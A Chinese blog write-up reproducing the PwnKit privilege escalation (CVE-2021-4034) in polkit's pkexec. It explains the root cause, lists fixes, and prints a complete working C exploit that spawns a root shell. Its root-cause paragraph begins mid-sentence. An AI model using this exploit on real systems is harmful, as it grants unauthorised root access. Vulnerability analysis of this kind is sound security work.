pkexec提权漏洞复现

  1. 漏洞描述
  2. 漏洞利用条件
  3. 漏洞成因
  4. 漏洞修复
  5. 参考链接

漏洞描述

2022-01-25,CVE-2021-4034利用详情发布,该漏洞是Qualys研究团队在polkit的pkexec中发现的一个内存损坏漏洞,允许非特权用户获取root权限。根据作者的发布文章说,在默认安装的Ubuntu、Debian、Fedora和CentOS上都已经成功复现。这个漏洞已经隐藏了12年多,并影响自2009年5月第一个版本以来的所有pkexec版本:(commit c8c3d83,“Add a pkexec(1) command”)

漏洞利用条件

1.存在pkexec命令
2.pkexec在suid里

漏洞成因

全”环境变量(例如 LD_PRELOAD)放在 pkexec 的 环境; 如果是正常设置环境变量,这些“不安全”变量通常会被删除(通过 ld.so),如GCONV_PATH就是不安全的环境变量,因为他会导致任意so执行。同时pkexec是一个默认具有suid
属性的程序,如果能让其执⾏命令,那么就能导致suid提权了。所以利⽤中允许我们绕过过滤写⼊GCONV_PATH,然后设置gconv-modules文件,触发字符集转换,调用iconv_open加载对应字符集的so文件。

534行:for循环argc=0,所以不会进入循环,但n已经设置成1
610行:argv[1]赋值给path


因为argv和envp指针在内存中是连续的,如果argc为0,那么越界argv[1]实际上是envp[0]

如果按照上面的代码逻辑,如果传⼊的命令不是绝对路径,就会在 PATH 环境变量的目录搜索,在赋
值回argv

假设我们执行pkexec,此时argc=0,envp={“xxx”}
610行,程序会读取argv[1]到path变量中,也就是”xxx”
632行,s = g_find_program_in_path (path)找到该程序的绝对路径,假设为/usr/bin/xxx
639行,程序将s写入argv[1]和path,从而覆盖了第一个环境变量。此时envp也就变成了{“/usr/bin/xxx”}

根据找到的函数进行寻找利用:
在pkexec中多次使用了g_printerr()函数,该函数是调用GLib的函数。但是如果环境变量CHARSET不是UTF-8,g_printerr()将会调用glibc的函数iconv_open(),来将消息从UTF-8转换为另一种格式。
iconv_open函数的执行过程为:iconv_open函数首先会找到系统提供的gconv-modules配置文件,这个文件中包含了各个字符集的相关信息存储的路径,每个字符集的相关信息存储在一个.so文件中,即gconv-modules文件提供了各个字符集的.so文件所在位置,之后会调用.so文件中的gconv()与gonv_init()函数。
如果我们改变了系统的GCONV_PATH环境变量,也就能改变gconv-modules配置文件的位置,从而执行一个恶意的so文件实现任意命令执行。

argv[n] = path=s就能重新触发环境变量加载,因为g_printerr()将会调用glibc的函数iconv_open()利用环境变量重新定义了GCONV_PATH,最后找到自己定义的so。加载了gconv_init函数,最后由于又是SUID权限实现了提权其实就是类似于DLL劫持

CVE-2021-4034

/*
* Proof of Concept for PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034) by Andris Raugulis <moo@arthepsy.eu>
* Advisory: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>


char *shell =
    "#include <stdio.h>\n"
    "#include <stdlib.h>\n"
    "#include <unistd.h>\n\n"
    "void gconv() {}\n"
    "void gconv_init() {\n"
    "    setuid(0); setgid(0);\n"
    "    seteuid(0); setegid(0);\n"
    "    system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
    "    exit(0);\n"
    "}";


int main(int argc, char *argv[]) {
    FILE *fp;
    system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
    system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
    fp = fopen("pwnkit/pwnkit.c", "w");
    fprintf(fp, "%s", shell);
    fclose(fp);
    system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
    char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
    execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}

漏洞修复

  • 新版pkexec已修复了漏洞 (更新pkexec)
  • 取消pkexec SUID权限

参考链接

https://saucer-man.com/information_security/876.html


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:pkexec提权漏洞复现

本文作者:九世

发布时间:2022-01-28, 17:04:55

最后更新:2022-02-17, 23:59:28

原始链接:http://422926799.github.io/posts/2b1cd54.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录